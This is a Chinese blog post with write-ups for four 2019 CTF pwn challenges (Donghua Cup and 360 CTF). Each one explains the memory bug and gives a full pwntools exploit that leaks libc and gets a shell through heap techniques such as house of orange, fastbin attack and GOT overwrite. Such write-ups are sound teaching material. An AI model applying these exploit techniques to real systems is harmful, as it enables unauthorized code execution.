2019-東華杯&2019-360ctf__PWN題解

sfftlt_發表於2019-11-06

2019-東華杯&2016-360ctf__PWN題解

上週六有兩場比賽重合了,解出了全部的pwn,趁著還有些印象,分享一下上週六的兩個比賽的pwn題解,東華杯初賽的三個pwn,360複賽的一個pwn,難度不大。

2019-東華杯

Boring_Heap

漏洞點

常見的選單題目,libc 2.23,程式邏輯很好分析,漏洞點在於update過程中的abs()函式。

v3 = __readfsqword(0x28u);
  puts("Which one do you want to update?");
  v2 = abs(get_int()) % 30;        ###存在漏洞
  if ( global_node[v2] && (global_size[v2] == 32 || global_size[v2] == 48 || global_size[v2] == 64) )
  {
    puts("Where you want to update?");
    v0 = abs(get_int()) % global_size[v2];        ##存在漏洞
    puts("Input Content:");
    read_n(&global_node[v2][v0], global_size[v2] - v0);
  }

這個漏洞點在2019-強網杯-babycpp也出現過,感興趣的可以看看2019-qwb-babycpp也是考察到了這個漏洞點,記得當初我還沒有審出來,abs()函式的漏洞成因可以看看這個文章記憶體中的資料儲存

 

關於本題abs()函式利用的測試程式碼如下:

#include <stdio.h>
#include <stdlib.h>

int main()
{        
    int a = -0x80000000;        
    int b = abs(a);        
    printf("the return value of abs(a) is : %d(10) %d(10) %d(10) .\n",b%0x20,b%0x30,b%0x40);        
    return 0;
}


output:                the return value of abs(a) is : 0(10) -32(10) 0(10) .

漏洞利用

從測試程式碼可以看到,當我們編輯mem_size 0x30大小的chunk的時候,輸入-0x80000000大小的idx會造成整數溢位,導致我們可以向當前chunk_mem的-0x20大小處編輯,由此可以改變chunk size進行構造overlapped chunk。

 

期初我嘗試用top_chunk_atk來get shell,但是感覺可能要構造一下heap的佈局;於是選了一種簡單的方式,控制unsorted bin的bk,house of orange就可以get shell了。

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn'
    ctx.remote = ('8sdafgh.gamectf.com', 10001)

    ctx.symbols = {
        'node':0x2020c0,
        'size':0x202040,
        'limit':0x202020,
    }

    ctx.breakpoints = [0x11CB]#menu:0x11CB update_read_n:0x0109B

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(choice,content='\n'):
        sla('5.Exit',1)
        sla('arge',choice)
        sa('tent:',content)

    def delete(idx):
        sla('5.Exit',3)
        sla('delete?',idx)

    def show(idx):
        sla('5.Exit',4)
        sla('view?\n',idx)

    def edit(idx,where,content):
        sla('5.Exit',2)
        sla('update',idx)
        sla('update',where)
        sa('tent:',content)

    rs('remote')
    add(1)#0
    add(2)#1
    add(2)#2
    add(2)#3
    add(2)#4
    add(2)#5
    add(2)#6
    add(2)#7
    add(1)#8

    #leak libc
    edit(1,-0x80000000,p64(0)*3+p64(0x181)+'\n')#modufy the size
    delete(1)
    add(2)#9  overlapped with 2
    show(2)
    libc_base = uu64(r(6)) - 0x3c4b78
    lg('libc_base : ',libc_base)

    #leak heap
    add(2)#10 voerlapped with 2
    delete(4)
    delete(10)
    show(2)
    heap_base = uu64(r(6)) - 0x0f0
    lg('heap_base : ',heap_base)

    #house of orange
    system = libc_base + 0x045390
    _IO_list_all = libc_base + 0x3c5520
    edit(0,0,p64(system)*4)
    fake_file = '/bin/sh\x00'+p64(0x61) # fake_file
    fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack
    fake_file += p64(0)+p64(1) #bypass check
    edit(3,-0x80000000,p64(0)*2+fake_file+p64(0)*2)
    edit(6,0,p64(0)+p64(heap_base+0x10)+'\n')

    irt()

login

漏洞點

選單型別pwn,chunk在free之後並沒有清空,並且存在edit功能,因此UAF可利用。

if ( v1 < 0 || v1 > 5 )
  {
    puts("Wrong id!");
  }
  else if ( qword_602040[v1] )
  {
    free((void *)*qword_602040[v1]);
    free(qword_602040[v1]);
    puts("Delete success!");

漏洞利用

沒有開PIE,並且bss段儲存了node,存在UAF漏洞,可以透過UAF構造任意寫,任意寫要注意一下分配的技巧,如下面這樣,要使得chunk中存在殘留的heap資訊,這樣我們就可以透過partial write來修改heap的資訊:

            reg(0,0x90)
            reg(4,0x68)
            delete(0)
            delete(4)
            reg(5,0x18)

然後bss端的node數量有限制,我們可以透過任意地址寫來不斷清空bss段繞過這個限制。

 

洩露libc就是透過16位元組的爆破分配到stdout,修改stdout來洩露libc。

 

最終就是fastbin_atk修改malloc_hook為one_gadget來get shell。

這道題目其他的隊伍都交的比較快,可能有其他更簡單的方式吧。

exp如下

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './login'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('8sdafgh.gamectf.com', 20000)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x602040,
    }

    ctx.breakpoints = [0x400E15]#menu:0x400E15  strcmp:0x400B94 edit_read:400DAB

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def reg(id,len,passwd='\n'):
        sla('ice:\n',2)
        sla('id:\n',id)
        sla('length:\n',len)
        sa('password:\n',passwd)

    def m_reg(id,len,passwd='\n'):
        sl(2)
        sla('id:\n',id)
        sla('length:\n',len)
        sa('password:\n',passwd)

    def delete(id):
        sla('ice:\n',3)
        sla('id:\n',id)

    def edit(idx,passwd):
        sla('ice:\n',4)
        sla('id:\n',str(idx))
        sa('pass:\n',passwd)


    while True:
        try:
            context.log_level = 'info'
            #rs()
            rs('remote')
            #dbg()
            reg(0,0x90)
            reg(4,0x68)
            delete(0)
            delete(4)
            reg(5,0x18)
            #dbg()

            bss = 0x602040
            #dbg()
            edit(5,'\x68')
            edit(4,p64(0x21))
            edit(5,p64(bss))
            edit(4,p64(0)*6)

            #dbg()
            reg(0,0x10)
            reg(4,0x10)
            delete(0)
            #dbg()
            delete(4)
            #dbg()


            reg(5,0x18)
            #fake_chunk
            reg(1,0x10)
            edit(5,'\x00')
            edit(4,p64(0)+p64(0x131))
            edit(5,'\x30')
            edit(4,'\x10')
            #dbg()
            delete(0)
            reg(2,0xb0)
            edit(5,'\x00')
            edit(4,p64(0)+p64(0x21))
            delete(0)
            #dbg()
            edit(5,p64(bss)+p64(0x60)*2)
            edit(4,p64(0)*6)
            #dbg()

            reg(0,0x50)
            #dbg()
            reg(4,0x8)
            reg(1,0x10)
            delete(1)
            #dbg()
            delete(4)
            #dbg()
            reg(5,0x18)

            #fastbin atk
            edit(5,'\xd0')
            edit(4,'\xdd\x25')
            #dbg()
            ############################3
            reg(2,0x60)
            payload= '\0'*0x33+p64(0xfbad3887)+p64(0)*3+'\0'
            reg(3,0x68,payload)
            ru('\xa3')
            r(7)
            libc_base = uu64(r(8)) - 0x3c56a3
            aim = libc_base + 0x3c4aed   #padding = 0x13-8
            lg('libc_base',libc_base)
            #raw_input()
            #dbg()

            edit(5,'\x30')
            edit(4,'\x50')
            #dbg()
            delete(1)
            delete(0)
            #dbg()
            edit(5,p64(bss)+p64(0x60)*2)
            edit(4,p64(0)*6)
            #edit(4,p64(aim))
            #dbg()

            reg(0,0x20)
            reg(4,0x20)
            delete(0)
            delete(4)
            #dbg()
            reg(5,0x18)
            #dbg()

            aim = libc_base + 0x3c4aed
            edit(5,'\xd0')
            edit(4,p64(aim))
            #dbg()
            reg(1,0x60)
            payload = '\0'*0x13 + p64(libc_base+0xf1147)
            reg(2,0x68,payload)

            irt()
        except KeyboardInterrupt:
            break
        except EOFError:
            continue

silent_node

漏洞點

同樣是UAF,可編輯,無show函式,got表可改,無PIE,node存在bss段上。

 

好吧,明顯是unlink控制bss段,然後任意地址寫。甚至和入門的unlink同樣簡單。但是不知道為什麼這麼少的隊伍做出來,我也沒有想出來,是隊友告訴我的。

漏洞利用

unlink應該都懂,這裡強調一下偽造unsorted bin chunk想要free的時候,需要偽造next chunk以及next next chunk。並且unlink能夠成功的條件是,unsorted bin連結串列是正常的。

 

exp如下

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('8sdafgh.gamectf.com', 35555)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'small':0x6020d0,
    }

    ctx.breakpoints = [0x400D75]#menu:0x400D75

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(choice,content='\n'):
        sla('4.Exit',1)
        sla('add?',choice)
        sa('tent:',content)

    def delete(choice):
        sla('4.Exit',2)
        sla('arge',choice)


    def edit(choice,content):
        sla('4.Exit',3)
        sla('update',choice)
        sla('tent:',content)

    rs()
    bss = 0x6020d8
    add(2)
    f = {
        0x8:0x51,
        0x50:0x50,
        0x58:0xa0,
        0xf8:0x21,
        0x118:0x21
    }
    payload = fit(f,filler='\0')
    edit(2,payload) #prepare for the fake_chunk
    add(1)
    delete(2)

    add(1)
    add(1)
    add(1)
    #unlink
    f = {
        0x8:0x51,
        0x10:bss-0x18,
        0x18:bss-0x10,
        0x50:0x50,
        0x58:0xa0
    }
    payload = fit(f,filler='\0')
    edit(2,payload)
    delete(1)

    #leak libc
    free_got = 0x602018
    puts = 0x400740
    srand_got = 0x602048
    edit(2,'\0'*0x18+p64(0x6020d0))
    edit(2,p64(free_got)[:-1])
    edit(1,p64(puts)[:-1])
    edit(2,p64(srand_got)[:-1])
    delete(1)
    ru('\x0a')
    libc_base = uu64(ru('\x0a',drop=True))-ctx.libc.sym['srand']
    lg('libc_base',libc_base)

    #get shell
    system = libc_base + ctx.libc.sym['system']
    edit(2,p64(free_got)[:-1])
    edit(1,p64(system)[:-1])
    edit(2,p64(0x6020d8)+'/bin/sh\0')
    delete(1)

    irt()

總結

去年的東華杯我也參加了,相較於今年的pwn題,去年的兩個pwn題目質量更高(去年考察了一個arm_pwn的rop利用,第二題是 透過模擬伺服器行為在其中藏了一個double free,第二題在現在來看平平無奇,當初做起來還是讓人眼前一亮的),總之,東華杯作為一個學校來說,能夠每年承辦這種比賽還是挺不錯的,老師應該很辛苦,希望以後越辦越好。

360ctf 複賽

360複賽只有一個pwn,可能因為線下賽是內網滲透吧,所以pwn的比重不大。

溢位點,負數溢位。

    pool[i] = malloc(0x10uLL);
      if ( !pool[i] )
      {
        puts("Allocate Error");
        exit(-1);
      }
      puts("Do you want encode(0) or decode(1) your secret ?");
      __isoc99_scanf("%d", &v1);
      if ( v1 == 1 )
      {
        puts("please input your secret:");
        read(0, buffer, (unsigned int)nbytes);   #  存在溢位   ,輸入一個負數
        b64decode((const char *)buffer, i);
        memset(buffer, 0, 0x200uLL);

把encode/decode看明白就沒啥東西了,exp利用起來也不長。

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './360'
    #ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('180.153.183.86', 10001)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'node':0x6020e0,
    }

    ctx.breakpoints = [0x04015A2 ]#menu

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    def add(size,module,content='\n'):
        sla('ice',1)
        sla('size',size)
        if module !=2:
            sla('secret ?',module)#encode(0) or decode(1)
        else:
            sla('secret ?',0)
        if module == 1:
            sa('secret:',base64.b64encode(content))
        elif module == 0:
            sa('secret:',base64.b64decode(content))
        else:
            sa('secret:',content)
    def delete(idx):
        sla('choice:',4)
        sla('destroy:',idx)

    def show(idx):
        sla('choice:',2)
        sla('notes:',idx)

    def edit(idx,content):
        sla('choice:',3)
        sla('edit:',idx)
        sa('secret:',content)

    rs()
    add(0x100,1,'a'*0x100)
    add(0x1,1)
    delete(0)
    dbg()
    add(0x1,1)

    show(0)
    lb = uu64(ru('\x7f',drop=False)[-6:])-0x3c4c38
    success('libc_base = {}'.format(hex(lb)))
    sys = ctx.libc.sym['system']+lb
    sl(6)
    ru('Wrong')
    delete(7)
    delete(8)
    delete(9)
    add(-1,2,'b'*0x200+p64(0)+p64(0x71)+'/bin/sh\x00'+p64(0x602018))
    edit(0,p64(sys))
    delete(0)
    irt()

360初賽兩個pwn的exp需要自取

相關文章